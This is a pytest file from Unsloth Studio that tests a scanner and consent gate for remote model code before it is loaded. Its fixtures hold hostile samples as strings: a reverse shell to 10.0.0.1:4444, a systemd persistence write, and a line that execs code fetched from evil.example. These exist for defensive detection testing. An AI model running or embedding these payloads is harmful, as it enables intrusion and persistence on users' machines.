Files
unslothai--unsloth/studio/backend/tests/test_consent_gate.py
T
wehub-resource-sync e93507a09c
Lockfile supply-chain audit / lockfile supply-chain audit (push) Has been cancelled
Windows Studio GGUF CI / GPU prebuilt resolves without Visual Studio (push) Has been cancelled
Windows Studio GGUF CI / setup.ps1 unit tests (VS 2026 / CMake guard) (push) Has been cancelled
Windows Studio GGUF CI / real-VS detection (VS 2022) (push) Has been cancelled
Windows Studio GGUF CI / real-VS detection (VS 2026) (push) Has been cancelled
Windows Studio GGUF CI / VC++ runtime detect + install round-trip (windows-2025-vs2026) (push) Has been cancelled
Windows Studio GGUF CI / VC++ runtime detect + install round-trip (windows-latest) (push) Has been cancelled
Windows Studio Update CI / Studio Updating Tests (push) Has been cancelled
Wheel CI / Wheel build + content sanity + import smoke (push) Has been cancelled
Lint CI / Source lint (Python + shell + YAML + JSON + safety nets) (push) Has been cancelled
MLX CI on Mac M1 / dispatch (push) Has been cancelled
Security audit / advisory audit (pip + npm + cargo) (push) Has been cancelled
Security audit / pip scan-packages :: extras (push) Has been cancelled
Security audit / pip scan-packages :: studio (push) Has been cancelled
Security audit / pip scan-packages :: hf-stack (push) Has been cancelled
Security audit / npm scan-packages (Studio frontend tarballs) (push) Has been cancelled
Security audit / workflow-trigger lint (pull_request_target / cache-poisoning) (push) Has been cancelled
Security audit / pytest tests/security (push) Has been cancelled
Security audit / npm provenance + new install-script diff (push) Has been cancelled
Studio API CI / Studio API & Auth Tests (push) Has been cancelled
Backend CI / (Python 3.10) (push) Has been cancelled
Backend CI / (Python 3.11) (push) Has been cancelled
Backend CI / (Python 3.12) (push) Has been cancelled
Backend CI / (Python 3.13) (push) Has been cancelled
Backend CI / Repo tests (CPU) (push) Has been cancelled
Frontend CI / Frontend build + bundle sanity (push) Has been cancelled
Studio GGUF CI / OpenAI, Anthropic API tests (push) Has been cancelled
Studio GGUF CI / Tool calling Tests (push) Has been cancelled
Studio GGUF CI / JSON, images (push) Has been cancelled
Mac Studio GGUF CI / OpenAI, Anthropic API tests (push) Has been cancelled
Mac Studio GGUF CI / Tool calling Tests (push) Has been cancelled
Mac Studio GGUF CI / JSON, images (push) Has been cancelled
Mac Studio Install Matrix CI / Install + load (macos-14) (push) Has been cancelled
Mac Studio Install Matrix CI / Install + load (macos-15) (push) Has been cancelled
Mac Studio Install Matrix CI / Install + load (macos-26) (push) Has been cancelled
Mac Studio Install Matrix CI / Install + load (macos-15-intel) (push) Has been cancelled
Mac Studio API CI / Studio API & Auth Tests (push) Has been cancelled
Mac Studio Install Matrix CI / Install + load (macos-26-intel) (push) Has been cancelled
Mac Studio UI CI / Chat UI Tests (push) Has been cancelled
Studio Tauri CI / Tauri Linux debug build (no codesign) (push) Has been cancelled
Mac Studio Update CI / Studio Updating Tests (push) Has been cancelled
Studio UI CI / Chat UI Tests (push) Has been cancelled
Windows Studio API CI / Studio API & Auth Tests (push) Has been cancelled
Windows Studio UI CI / Chat UI Tests (push) Has been cancelled
Studio Update CI / Studio Updating Tests (push) Has been cancelled
Core / Core (HF=default + TRL=default) (push) Has been cancelled
Core / Core (HF=4.57.6 + TRL<1) (push) Has been cancelled
Core / Core (HF=latest + TRL=latest) (push) Has been cancelled
Core / llama.cpp build + smoke (push) Has been cancelled
Windows Studio GGUF CI / OpenAI, Anthropic API tests (push) Has been cancelled
Windows Studio GGUF CI / Tool calling Tests (push) Has been cancelled
Windows Studio GGUF CI / JSON, images (push) Has been cancelled
Windows Studio GGUF CI / Studio install + inference without Visual Studio (push) Has been cancelled
Studio export capability / capability (macos-latest) (push) Has been cancelled
Studio export capability / capability (ubuntu-latest) (push) Has been cancelled
Studio export capability / capability (windows-latest) (push) Has been cancelled
Cross-platform parity / parity (macos-latest) (push) Has been cancelled
Cross-platform parity / parity (windows-latest) (push) Has been cancelled
Scorecard supply-chain security / Scorecard analysis (push) Has been cancelled
Studio load-orchestrator CI / test (push) Has been cancelled
chore: import upstream snapshot with attribution
2026-07-13 12:59:56 +08:00

1522 lines
66 KiB
Python

# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
"""Tests for the trust_remote_code consent gate.
The gate scans a repo's auto_map Python before a trust_remote_code=True load and
refuses CRITICAL/HIGH code unless the user pinned this exact version. The scanner
and fingerprint run for real; only the config/file fetch is stubbed.
"""
import os
from pathlib import Path
from types import SimpleNamespace
from unittest.mock import MagicMock, patch
import pytest
import utils.security.consent as consent
from utils.security import (
RemoteCodeDecision,
evaluate_remote_code_consent,
evaluate_remote_code_consent_for_targets,
is_trusted_org_repo,
remote_code_fingerprint,
scan_remote_code_files,
should_block_remote_code,
)
from huggingface_hub.utils import EntryNotFoundError
from utils.security.remote_code_scan import (
CRITICAL,
HIGH,
REMOTE_CODE_CONFIG_FILES,
RemoteCodeUnscannable,
repo_remote_code_files,
)
from utils.security.trusted_org import clear_cache
_BACKEND = Path(__file__).resolve().parent.parent
@pytest.fixture(autouse = True)
def _clean_trusted_org_cache(monkeypatch):
"""Clear the trusted-org cache and force online mode for the Hub-verify path."""
clear_cache()
monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
yield
clear_cache()
# HIGH severity (persistence install): approvable, blocks untrusted repos.
_HIGH = {
"modeling_persist.py": (
"open('/etc/systemd/system/x.service', 'w').write('[Service]\\nExecStart=sh')\n"
)
}
# CRITICAL severity (reverse shell) - blocks even a first-party repo.
_CRITICAL = {
"modeling_backdoor.py": (
"import socket, subprocess, os\n"
"s = socket.socket(); s.connect(('10.0.0.1', 4444))\n"
"os.dup2(s.fileno(), 0); subprocess.call(['/bin/sh', '-i'])\n"
)
}
_BENIGN = {
"modeling_ok.py": (
"import torch\n"
"class MyModel(torch.nn.Module):\n"
" def forward(self, x):\n"
" return x + 1\n"
)
}
def _with_auto_map(files):
"""Patch the gate so auto_map is present and the given files are returned."""
return (
patch.object(consent, "_config_has_auto_map", return_value = True),
patch.object(consent, "repo_remote_code_files", return_value = files),
)
class TestConsentGate:
def test_disabled_is_a_noop(self):
d = evaluate_remote_code_consent("unsloth/X", trust_remote_code = False)
assert isinstance(d, RemoteCodeDecision)
assert d.has_remote_code is False and d.blocked is False
def test_no_auto_map_is_noop(self):
with patch.object(consent, "_config_has_auto_map", return_value = False):
d = evaluate_remote_code_consent("unsloth/Plain", trust_remote_code = True)
assert d.has_remote_code is False
assert d.blocked is False
assert "no-op" in d.reason
def test_unknown_auto_map_is_scanned_not_skipped(self):
# Unreadable config (private/gated/offline) is "unknown", not "no code": scan, not no-op.
with (
patch.object(consent, "_config_has_auto_map", return_value = None),
patch.object(consent, "repo_remote_code_files", return_value = _HIGH),
):
d = evaluate_remote_code_consent(
"private/evil", trust_remote_code = True, trusted_org = False
)
assert d.has_remote_code is True
assert d.blocked is True
assert "no-op" not in d.reason
def test_benign_remote_code_allowed(self):
a, b = _with_auto_map(_BENIGN)
with a, b:
d = evaluate_remote_code_consent("unsloth/Good", trust_remote_code = True)
assert d.has_remote_code is True
assert d.blocked is False
assert d.fingerprint # still fingerprinted for pinning
def test_high_third_party_blocked(self):
# HIGH from an untrusted repo: blocked but user-approvable (not CRITICAL).
a, b = _with_auto_map(_HIGH)
with a, b:
d = evaluate_remote_code_consent(
"evil/Model", trust_remote_code = True, trusted_org = False
)
assert d.has_remote_code is True
assert d.blocked is True
assert d.approvable is True
assert d.max_severity == "HIGH"
assert d.fingerprint
# response payload is frontend-ready, with STRUCTURED findings.
p = d.response_payload()
assert p["error_kind"] == "remote_code_consent_required"
assert p["approvable"] is True
assert p["fingerprint"] == d.fingerprint
assert isinstance(p["findings"], list) and p["findings"]
f0 = p["findings"][0]
assert {"severity", "file", "check"} <= set(f0)
def test_high_first_party_requires_approval(self):
# First-party is no longer a blanket bypass: HIGH code from a first-party repo
# requires per-version approval like any other (approvable, unlike CRITICAL).
# Real first-party models scan clean; this uses a synthetic HIGH payload.
a, b = _with_auto_map(_HIGH)
with a, b:
d = evaluate_remote_code_consent(
"unsloth/DeepSeek-OCR", trust_remote_code = True, trusted_org = True
)
assert d.has_remote_code is True
assert d.blocked is True
assert d.approvable is True
assert d.max_severity == "HIGH"
assert d.fingerprint
assert "approval required" in d.reason
def test_bare_subprocess_blocked_third_party(self):
# A bare subprocess.Popen in a config __init__: model code must never shell out, so block.
files = {
"configuration.py": (
"import subprocess\n"
"class RemoteConfig:\n"
" def __init__(self):\n"
" subprocess.Popen(['xcalc'])\n"
)
}
a, b = _with_auto_map(files)
with a, b:
d = evaluate_remote_code_consent(
"third-party/custom-model", trust_remote_code = True, trusted_org = False
)
assert d.blocked is True
assert d.max_severity == "HIGH"
assert "subprocess" in d.findings_summary.lower()
def test_critical_blocked_even_first_party(self):
# CRITICAL (reverse shell) blocks even a trusted first-party repo; not approvable.
a, b = _with_auto_map(_CRITICAL)
with a, b:
d = evaluate_remote_code_consent(
"unsloth/Compromised", trust_remote_code = True, trusted_org = True
)
assert d.blocked is True
assert d.approvable is False
assert d.max_severity == "CRITICAL"
p = d.response_payload()
assert p["error_kind"] == "remote_code_blocked"
assert p["approvable"] is False
def test_approved_fingerprint_unblocks(self):
# HIGH (approvable) third-party code: a matching fingerprint unblocks.
a, b = _with_auto_map(_HIGH)
with a, b:
d1 = evaluate_remote_code_consent(
"evil/Model", trust_remote_code = True, trusted_org = False
)
d2 = evaluate_remote_code_consent(
"evil/Model",
trust_remote_code = True,
trusted_org = False,
approved_fingerprint = d1.fingerprint,
)
assert d1.blocked is True
assert d2.blocked is False
assert d2.reason == "approved by fingerprint"
def test_approved_fingerprint_does_not_unblock_critical(self):
# CRITICAL is a hard block: a matching fingerprint must never override it.
a, b = _with_auto_map(_CRITICAL)
with a, b:
d1 = evaluate_remote_code_consent(
"evil/Model", trust_remote_code = True, trusted_org = False
)
d2 = evaluate_remote_code_consent(
"evil/Model",
trust_remote_code = True,
trusted_org = False,
approved_fingerprint = d1.fingerprint,
)
assert d1.blocked is True and d1.approvable is False
assert d2.blocked is True and d2.approvable is False
assert d2.reason == "blocked: scan found CRITICAL patterns"
def test_wrong_fingerprint_still_blocked(self):
a, b = _with_auto_map(_HIGH)
with a, b:
d = evaluate_remote_code_consent(
"evil/Model",
trust_remote_code = True,
trusted_org = False,
approved_fingerprint = "deadbeef",
)
assert d.blocked is True
def test_combined_targets_one_fingerprint_approves_adapter_and_base(self):
# A LoRA adapter and base that both ship auto_map code are scanned as one unit and
# pinned by a single fingerprint over the union, so one approval unblocks the load.
adapter_files = {"tokenization_adapter.py": "import subprocess\nsubprocess.Popen(['id'])\n"}
base_files = {"modeling_base.py": "import subprocess\nsubprocess.Popen(['id'])\n"}
def _files(name, hf_token = None):
return adapter_files if name == "org/adapter" else base_files
targets = ["org/adapter", "org/base"]
with (
patch.object(consent, "_config_has_auto_map", return_value = True),
patch.object(consent, "repo_remote_code_files", side_effect = _files),
):
d1 = evaluate_remote_code_consent_for_targets(targets, trust_remote_code = True)
d2 = evaluate_remote_code_consent_for_targets(
targets, trust_remote_code = True, approved_fingerprint = d1.fingerprint
)
base_only = evaluate_remote_code_consent_for_targets(
["org/base"], trust_remote_code = True
)
assert d1.blocked is True
assert d1.max_severity == "HIGH"
# The single combined fingerprint approves the whole load (adapter + base).
assert d2.blocked is False
assert d2.reason == "approved by fingerprint"
# A fingerprint over the base alone must not match (no silent approval of adapter code).
assert base_only.fingerprint != d1.fingerprint
def test_fingerprint_is_casing_invariant_for_hub_repos(self):
# The scan endpoint canonicalizes casing but workers pass raw input. The fingerprint
# pins code bytes, not the repo-id spelling, so casing must not change it (else the
# worker rejects the scan's approval as a mismatch).
a, b = _with_auto_map(_HIGH)
with a, b:
d1 = evaluate_remote_code_consent_for_targets(["Org/Model"], trust_remote_code = True)
d2 = evaluate_remote_code_consent_for_targets(["org/model"], trust_remote_code = True)
assert d1.fingerprint == d2.fingerprint
# An approval pinned from one casing unblocks the load under another casing.
a, b = _with_auto_map(_HIGH)
with a, b:
d3 = evaluate_remote_code_consent_for_targets(
["ORG/model"], trust_remote_code = True, approved_fingerprint = d1.fingerprint
)
assert d3.blocked is False
assert d3.reason == "approved by fingerprint"
def test_fingerprint_target_key_keeps_local_path_casing(self):
from utils.security.consent import _fingerprint_target_key
# A local path is case-sensitive (case-sensitive filesystems); never folded.
with patch("utils.paths.is_local_path", return_value = True):
assert _fingerprint_target_key("/Models/Foo") == "/Models/Foo"
# A Hub repo id is case-insensitive; folded so the pin is casing-robust.
with patch("utils.paths.is_local_path", return_value = False):
assert _fingerprint_target_key("Org/Model") == "org/model"
def test_unscannable_target_fails_closed_for_whole_load(self):
# If ANY target is present-but-unscannable, the whole load fails closed (non-approvable).
def _raise_for_base(name, hf_token = None):
if name == "org/base":
raise RemoteCodeUnscannable("gated")
return {"modeling_adapter.py": "import torch\n"}
with (
patch.object(consent, "_config_has_auto_map", return_value = True),
patch.object(consent, "repo_remote_code_files", side_effect = _raise_for_base),
):
d = evaluate_remote_code_consent_for_targets(
["org/adapter", "org/base"], trust_remote_code = True
)
assert d.blocked is True
assert d.approvable is False
def test_medium_severity_blocks_pending_approval(self):
# A MEDIUM finding is approvable but blocks until the fingerprint is pinned, so
# trust_remote_code=True alone cannot run flagged code; a match then unblocks.
# MEDIUM is rarely emitted, so the scan result is mocked to exercise the policy.
from utils.security.remote_code_scan import MEDIUM
class _MediumResult:
max_severity = MEDIUM
def summary(self):
return "MEDIUM: large-base64-blob"
def findings_payload(self):
return [{"severity": "MEDIUM", "file": "modeling.py", "check": "large-base64-blob"}]
with (
patch.object(consent, "_config_has_auto_map", return_value = True),
patch.object(consent, "repo_remote_code_files", return_value = {"m.py": "BLOB = 1\n"}),
patch.object(consent, "scan_remote_code_files", return_value = _MediumResult()),
):
d1 = evaluate_remote_code_consent(
"third/medium", trust_remote_code = True, trusted_org = False
)
d2 = evaluate_remote_code_consent(
"third/medium",
trust_remote_code = True,
trusted_org = False,
approved_fingerprint = d1.fingerprint,
)
assert d1.blocked is True
assert d1.approvable is True
assert d1.max_severity == "MEDIUM"
assert d1.fingerprint
assert "MEDIUM" in d1.reason
assert d2.blocked is False
assert d2.reason == "approved by fingerprint"
def test_fingerprint_changes_when_code_changes(self):
((fn, body),) = _HIGH.items()
a1, b1 = _with_auto_map(_HIGH)
with a1, b1:
d1 = evaluate_remote_code_consent(
"evil/Model", trust_remote_code = True, trusted_org = False
)
tampered = {fn: body + "\n# changed\n"}
a2, b2 = _with_auto_map(tampered)
with a2, b2:
d2 = evaluate_remote_code_consent(
"evil/Model", trust_remote_code = True, trusted_org = False
)
assert d1.fingerprint != d2.fingerprint # pinned approval would re-prompt
def test_unscannable_auto_map_blocked_fail_closed(self):
# Code is shipped but could not be fetched/listed (gated/offline/transient):
# repo_remote_code_files raises RemoteCodeUnscannable. Code we cannot see cannot
# be verified or fingerprinted, so fail closed (hard, non-approvable block).
with (
patch.object(consent, "_config_has_auto_map", return_value = True),
patch.object(
consent,
"repo_remote_code_files",
side_effect = RemoteCodeUnscannable("gated"),
),
):
d = evaluate_remote_code_consent("unsloth/Gated", trust_remote_code = True)
assert d.has_remote_code is True
assert d.blocked is True
assert d.approvable is False
assert "could not be scanned" in d.reason
def test_auto_map_with_no_executable_code_is_a_noop(self):
# auto_map declared but the repo ships no executable .py (listing succeeded,
# returns {}) -- e.g. a GGUF repo with a vestigial auto_map. Nothing to run, so
# trust_remote_code is a no-op and the load is allowed, not blocked.
with (
patch.object(consent, "_config_has_auto_map", return_value = True),
patch.object(consent, "repo_remote_code_files", return_value = {}),
):
d = evaluate_remote_code_consent(
"unsloth/Llama-3_1-Nemotron-Ultra-253B-v1-GGUF", trust_remote_code = True
)
assert d.blocked is False
assert d.has_remote_code is False
assert "no-op" in d.reason
class TestWorkersWireTheGate:
"""Each load worker must call the gate and emit a remote_code_blocked error."""
@pytest.mark.parametrize(
"rel",
[
"core/training/worker.py",
"core/inference/worker.py",
"core/export/worker.py",
],
)
def test_worker_invokes_gate(self, rel):
src = (Path(__file__).resolve().parent.parent / rel).read_text()
assert "evaluate_remote_code_consent" in src
assert "remote_code_blocked" in src
assert ".blocked" in src
def test_mlx_training_path_gates_before_load(self):
# The Apple-Silicon path returns before run_training_process's gate, so it must
# scan before FastMLXModel.from_pretrained runs repo code.
src = (_BACKEND / "core/training/worker.py").read_text()
head = src[: src.index("FastMLXModel.from_pretrained(")]
assert "evaluate_remote_code_consent" in head
def test_lora_base_model_is_gated(self):
# Inference + export expand the consent scan to the LoRA base model's code.
for rel in ("core/inference/worker.py", "core/export/worker.py"):
src = (_BACKEND / rel).read_text()
assert "evaluate_remote_code_consent" in src
assert "get_base_model_from_lora" in src or "mc.base_model" in src
def test_remote_lora_base_is_resolved_in_gate_paths(self):
# validate / scan / training / export must resolve a remote adapter's base (not
# just a local dir) so it is scanned, not silently trusted. (Inference gets the
# resolved base from ModelConfig.base_model.)
for rel in (
"routes/inference.py",
"routes/models.py",
"core/training/worker.py",
"core/export/worker.py",
):
src = (_BACKEND / rel).read_text()
assert "get_base_model_from_lora_identifier" in src, rel
def test_embedding_training_path_gates_before_load(self):
# The embedding pipeline must run the malware + consent gates before loading, like the other paths.
src = (_BACKEND / "core/training/worker.py").read_text()
start = src.index("def _run_embedding_training(")
end = src.index("FastSentenceTransformer.from_pretrained(", start)
region = src[start:end]
assert "evaluate_file_security" in region
assert "evaluate_remote_code_consent" in region
class TestCanonicalScannerSource:
"""In-repo, the load-time scanner must be the canonical scripts/scan_packages.py (the CI scanner), not the fallback."""
def test_canonical_scanner_loads_in_repo(self):
from utils.security.remote_code_scan import _load_canonical_scanner
canon = _load_canonical_scanner()
assert canon is not None, "scripts/scan_packages.py must load in-repo"
assert hasattr(canon, "check_py_file")
def test_gate_uses_canonical_combination_heuristics(self):
# Combination heuristics are unique to the canonical scanner: a reverse shell is
# CRITICAL there, proving the flat fallback is not in effect.
from utils.security.remote_code_scan import scan_remote_code_files
r = scan_remote_code_files(_CRITICAL)
assert r.max_severity == "CRITICAL"
class TestStructuredFindingsForDialog:
"""The dialog needs structured findings + a fingerprint from the pre-check helper and scan route, with the approval threaded to workers."""
def test_findings_payload_shape(self):
from utils.security.remote_code_scan import scan_remote_code_files
payload = scan_remote_code_files(_HIGH).findings_payload()
assert payload
for f in payload:
assert {"severity", "file", "check", "evidence", "line", "snippet"} <= set(f)
def test_snippet_locates_line_and_highlights_match(self):
from utils.security.remote_code_scan import scan_remote_code_files
src = (
"import torch\n" # 1
"\n" # 2
"def build(expr):\n" # 3
" fn = eval(expr)\n" # 4 <- flagged
" return fn\n" # 5
)
f = scan_remote_code_files({"modeling_x.py": src}).findings_payload()[0]
assert f["line"] == 4
rows = f["snippet"]
match = [r for r in rows if r["is_match"]]
assert len(match) == 1 and match[0]["number"] == 4
# Precise column span isolates "eval(" within the line.
seg = match[0]["text"][match[0]["match_start"] : match[0]["match_end"]]
assert seg == "eval("
# Context window present on both sides (clamped at file edges).
assert any(r["number"] == 3 for r in rows)
assert any(r["number"] == 5 for r in rows)
def test_preflight_surfaces_findings(self):
from utils.security import preflight_remote_code_consent
a, b = _with_auto_map(_HIGH)
with a, b:
d = preflight_remote_code_consent("evil/Model", trusted_org = False)
assert d.has_remote_code is True
assert d.findings and d.fingerprint # structured findings for the UI
def test_scan_route_uses_preflight(self):
src = (Path(__file__).resolve().parent.parent / "routes/models.py").read_text()
assert "remote-code-scan" in src
# The scan route pins one combined fingerprint over adapter + base, so adapter code is reviewed and approvable too.
assert "preflight_remote_code_consent_for_targets" in src
def _run_scan_route(self, monkeypatch, *, adapter, base, in_cache):
"""Call scan_model_remote_code with all network/cache deps stubbed; in_cache(repo)
decides whether a repo pre-existed in cache (so it is not reported scan-created)."""
import asyncio
import routes.models as models_route
import utils.models.model_config as model_config
import utils.security as security
monkeypatch.setattr(models_route, "is_local_path", lambda *_a, **_k: False)
monkeypatch.setattr(models_route, "resolve_cached_repo_id_case", lambda n, *a, **k: n)
monkeypatch.setattr(
model_config, "get_base_model_from_lora_identifier", lambda *_a, **_k: base
)
monkeypatch.setattr(models_route, "_repo_in_any_hf_cache", lambda n, *a, **k: in_cache(n))
monkeypatch.setattr(
security,
"preflight_remote_code_consent_for_targets",
lambda *_a, **_k: SimpleNamespace(
has_remote_code = False,
response_payload = lambda: {"has_remote_code": False, "approvable": True},
),
)
monkeypatch.setattr(security, "security_load_subdirs", lambda *_a, **_k: ())
monkeypatch.setattr(
security,
"evaluate_file_security",
lambda *_a, **_k: SimpleNamespace(blocked = False, unsafe_files = []),
)
return asyncio.run(
models_route.scan_model_remote_code(
model_name = adapter, hf_token = None, current_subject = "tester"
)
)
def test_scan_route_reports_all_scan_created_repos(self, monkeypatch):
"""A LoRA scan that pulls both adapter and base into cache reports every created
repo, so a decline purges all of them, not just the primary."""
adapter, base = "someone/lora-adapter", "someone/base-model"
payload = self._run_scan_route(
monkeypatch, adapter = adapter, base = base, in_cache = lambda _n: False
)
assert payload["scan_created_repos"] == [adapter, base]
assert payload["created_by_scan"] is True
def test_scan_route_omits_repo_already_cached(self, monkeypatch):
"""A base the user already had is not scan-created, so a decline purges only the new adapter."""
adapter, base = "someone/lora-adapter", "someone/base-model"
payload = self._run_scan_route(
monkeypatch, adapter = adapter, base = base, in_cache = lambda n: n == base
)
assert payload["scan_created_repos"] == [adapter]
assert payload["created_by_scan"] is True
def test_scan_route_primary_already_cached_clears_created_by_scan(self, monkeypatch):
"""When only the base is new, created_by_scan is False but the base is still purged via scan_created_repos."""
adapter, base = "someone/lora-adapter", "someone/base-model"
payload = self._run_scan_route(
monkeypatch, adapter = adapter, base = base, in_cache = lambda n: n == adapter
)
assert payload["scan_created_repos"] == [base]
assert payload["created_by_scan"] is False
def test_scan_route_purges_remote_adapter_downloaded_by_base_resolution(self, monkeypatch):
"""A remote adapter is reported scan-created even though resolving its base first
caches the adapter's own adapter_config.json. Otherwise the adapter (and the
auto_map .py the preflight fetched) is left on disk on decline. The static-lambda
tests above miss this by not modeling base resolution's side effect."""
import asyncio
import routes.models as models_route
import utils.models.model_config as model_config
import utils.security as security
import utils.security.remote_code_scan as rcs
adapter, base = "someone/lora-adapter", "someone/base-model"
cached: set = set() # repos currently present in some HF cache
def _get_base(name, token = None):
# Resolving the base downloads the ADAPTER's adapter_config.json first.
cached.add(adapter)
return base
monkeypatch.setattr(models_route, "is_local_path", lambda *_a, **_k: False)
monkeypatch.setattr(models_route, "resolve_cached_repo_id_case", lambda n, *a, **k: n)
monkeypatch.setattr(model_config, "get_base_model_from_lora_identifier", _get_base)
monkeypatch.setattr(models_route, "_repo_in_any_hf_cache", lambda n, *a, **k: n in cached)
monkeypatch.setattr(rcs, "external_auto_map_repos", lambda *_a, **_k: set())
monkeypatch.setattr(
security,
"preflight_remote_code_consent_for_targets",
lambda *_a, **_k: SimpleNamespace(
has_remote_code = True,
blocked = False,
reason = "allowed: no high-risk patterns",
response_payload = lambda: {"has_remote_code": True, "approvable": True},
),
)
monkeypatch.setattr(security, "security_load_subdirs", lambda *_a, **_k: ())
monkeypatch.setattr(
security,
"evaluate_file_security",
lambda *_a, **_k: SimpleNamespace(blocked = False, unsafe_files = []),
)
payload = asyncio.run(
models_route.scan_model_remote_code(
model_name = adapter, hf_token = None, current_subject = "tester"
)
)
# The adapter must be purged on decline despite being cached mid-scan.
assert adapter in payload["scan_created_repos"]
assert base in payload["scan_created_repos"]
assert payload["created_by_scan"] is True
@pytest.mark.parametrize(
"rel",
[
"core/training/training.py",
"core/inference/orchestrator.py",
"core/export/orchestrator.py",
"routes/training.py",
"routes/inference.py",
"routes/export.py",
],
)
def test_fingerprint_threaded_to_worker(self, rel):
src = (Path(__file__).resolve().parent.parent / rel).read_text()
assert "approved_remote_code_fingerprint" in src
# The per-user approval cache rides the same path as the fingerprint.
assert "subject" in src
# Trusted-org auto-enable: is_trusted_org_repo decides whether a repo may auto-enable
# remote code without a prompt; it rejects local-path / spoofed names and fails closed.
def _fake_hfapi(resolved_id, author = "unsloth"):
api = MagicMock()
api.return_value.model_info.return_value = SimpleNamespace(id = resolved_id, author = author)
return api
class TestIsTrustedOrgRepo:
"""Only a genuine unsloth/ or nvidia/ repo is trusted (Hub-verified); everything spoofed/malformed/unreachable fails closed."""
def test_accepts_genuine_unsloth_repo(self):
with patch("huggingface_hub.HfApi", _fake_hfapi("unsloth/DeepSeek-OCR")):
assert is_trusted_org_repo("unsloth/DeepSeek-OCR") is True
def test_accepts_genuine_nvidia_repo(self):
with patch("huggingface_hub.HfApi", _fake_hfapi("nvidia/Nemotron-H-8B", author = "nvidia")):
assert is_trusted_org_repo("nvidia/Nemotron-H-8B") is True
def test_local_path_spoofs_rejected(self):
# Names that look trusted after stripping but are local paths.
for n in ["./unsloth/evil", "/tmp/unsloth/x", "~/unsloth/x", ".\\unsloth\\x"]:
assert is_trusted_org_repo(n, verify_remote = False) is False, n
def test_rejects_local_path_even_if_is_local_path_says_so(self):
# Defensive: a bare "unsloth/x" that resolves as a local dir must fail.
with patch("utils.security.trusted_org.is_local_path", return_value = True):
assert is_trusted_org_repo("unsloth/x") is False
def test_local_dir_shadowing_trusted_name_rejected(self, tmp_path, monkeypatch):
# A local dir literally named "unsloth/evil" must be rejected before any Hub call, even with remote verify on.
monkeypatch.chdir(tmp_path)
(tmp_path / "unsloth" / "evil").mkdir(parents = True)
clear_cache()
with patch("huggingface_hub.HfApi") as Api:
assert is_trusted_org_repo("unsloth/evil") is False
Api.assert_not_called()
def test_untrusted_namespaces_rejected(self):
for n in ["evil/unsloth-clone", "unsloth-evil/x", "nvidiaa/x", "huggingface/x"]:
assert is_trusted_org_repo(n, verify_remote = False) is False, n
def test_malformed_names_rejected(self):
for n in ["", "gpt2", "unsloth", "a/b/c", "/x", "unsloth/", "/unsloth", None]:
assert is_trusted_org_repo(n, verify_remote = False) is False, repr(n)
def test_rejects_when_resolved_owner_is_not_trusted(self):
# Name says unsloth/ but the Hub resolves it elsewhere -> fail closed.
with patch("huggingface_hub.HfApi", _fake_hfapi("someoneelse/x", author = "someoneelse")):
assert is_trusted_org_repo("unsloth/x") is False
def test_fails_closed_when_hub_raises(self):
for exc in (ConnectionError("net"), Exception("404"), TimeoutError("t")):
clear_cache()
api = MagicMock()
api.return_value.model_info.side_effect = exc
with patch("huggingface_hub.HfApi", api):
assert is_trusted_org_repo("unsloth/maybe-real") is False
def test_offline_trusts_shape_without_hub(self, monkeypatch):
# Offline: trust the namespace shape without ever touching the Hub.
monkeypatch.setenv("HF_HUB_OFFLINE", "1")
clear_cache()
with patch("huggingface_hub.HfApi") as Api:
assert is_trusted_org_repo("unsloth/Local-Cached") is True
assert is_trusted_org_repo("nvidia/Nemotron-H-x") is True
assert is_trusted_org_repo("evil/x") is False
Api.assert_not_called()
def test_token_failure_does_not_poison_authed_lookup(self):
# Cache is keyed by token: an unauthenticated failure must not poison a later authed call.
clear_cache()
api = MagicMock()
api.return_value.model_info.side_effect = [
Exception("401 gated"), # no token -> fails closed
SimpleNamespace(id = "unsloth/Private", author = "unsloth"), # token -> resolves
]
with patch("huggingface_hub.HfApi", api):
assert is_trusted_org_repo("unsloth/Private") is False
assert is_trusted_org_repo("unsloth/Private", hf_token = "hf_xyz") is True
class TestNemotronGateUsesTrustCheck:
"""The NemotronH auto-enable in all three workers is gated on is_trusted_org_repo, so a spoofed nemotron-named repo never auto-enables."""
@pytest.mark.parametrize(
"rel",
[
"core/training/worker.py",
"core/inference/worker.py",
"core/export/worker.py",
],
)
def test_worker_nemotron_block_calls_trust_check(self, rel):
src = (_BACKEND / rel).read_text()
assert "_NEMOTRON_TRUST_SUBSTRINGS" in src
assert "is_trusted_org_repo(" in src
def test_gate_predicate_blocks_spoof_allows_trusted(self):
# Reproduce the worker predicate with the REAL is_trusted_org_repo.
subs = ("nemotron_h", "nemotron-h", "nemotron-3-nano")
def gate(name):
low = name.lower()
return (
any(s in low for s in subs)
and (low.startswith("unsloth/") or low.startswith("nvidia/"))
and is_trusted_org_repo(name, verify_remote = False)
)
with patch.dict(os.environ, {"HF_HUB_OFFLINE": "1"}):
clear_cache()
assert gate("unsloth/Nemotron-H-8B") is True
clear_cache()
assert gate("evil/nemotron_h-backdoor") is False # spoofed namespace
assert gate("unsloth/llama-3-8b") is False # not nemotron
# Raw scanner behaviour + coverage: scan_remote_code_files flags dangerous patterns
# and agrees with the CI auditor; repo_remote_code_files must scan every .py the
# loader could execute and fail closed on a partial remote snapshot.
_SCAN_MALICIOUS = (
"import os, subprocess, urllib.request, base64\n"
"subprocess.Popen(['/bin/sh', '-c', 'id'])\n"
"exec(urllib.request.urlopen('http://evil.example/x').read())\n"
"__import__('o' + 's').system('whoami')\n"
"BLOB = '" + ("QWxhZGRpbjpvcGVuc2VzYW1l" * 20) + "'\n"
)
_SCAN_BENIGN = (
"import torch\nfrom torch import nn\n"
"from transformers import PreTrainedModel\n"
"class DeepseekOCRForCausalLM(PreTrainedModel):\n"
" def forward(self, x):\n return self.proj(x)\n"
)
class TestRemoteCodeScan:
def test_flags_malicious(self):
res = scan_remote_code_files({"modeling_evil.py": _SCAN_MALICIOUS})
assert not res.clean
assert res.max_severity in (CRITICAL, HIGH)
assert res.findings
assert should_block_remote_code(res) is True
def test_benign_is_clean(self):
res = scan_remote_code_files({"modeling_ok.py": _SCAN_BENIGN})
assert res.clean, res.summary()
assert should_block_remote_code(res) is False
def test_only_python_is_scanned(self):
res = scan_remote_code_files({"weights.bin": _SCAN_MALICIOUS, "README.md": _SCAN_MALICIOUS})
assert res.clean
def test_fingerprint_stable_and_sensitive(self):
a = remote_code_fingerprint({"m.py": _SCAN_BENIGN})
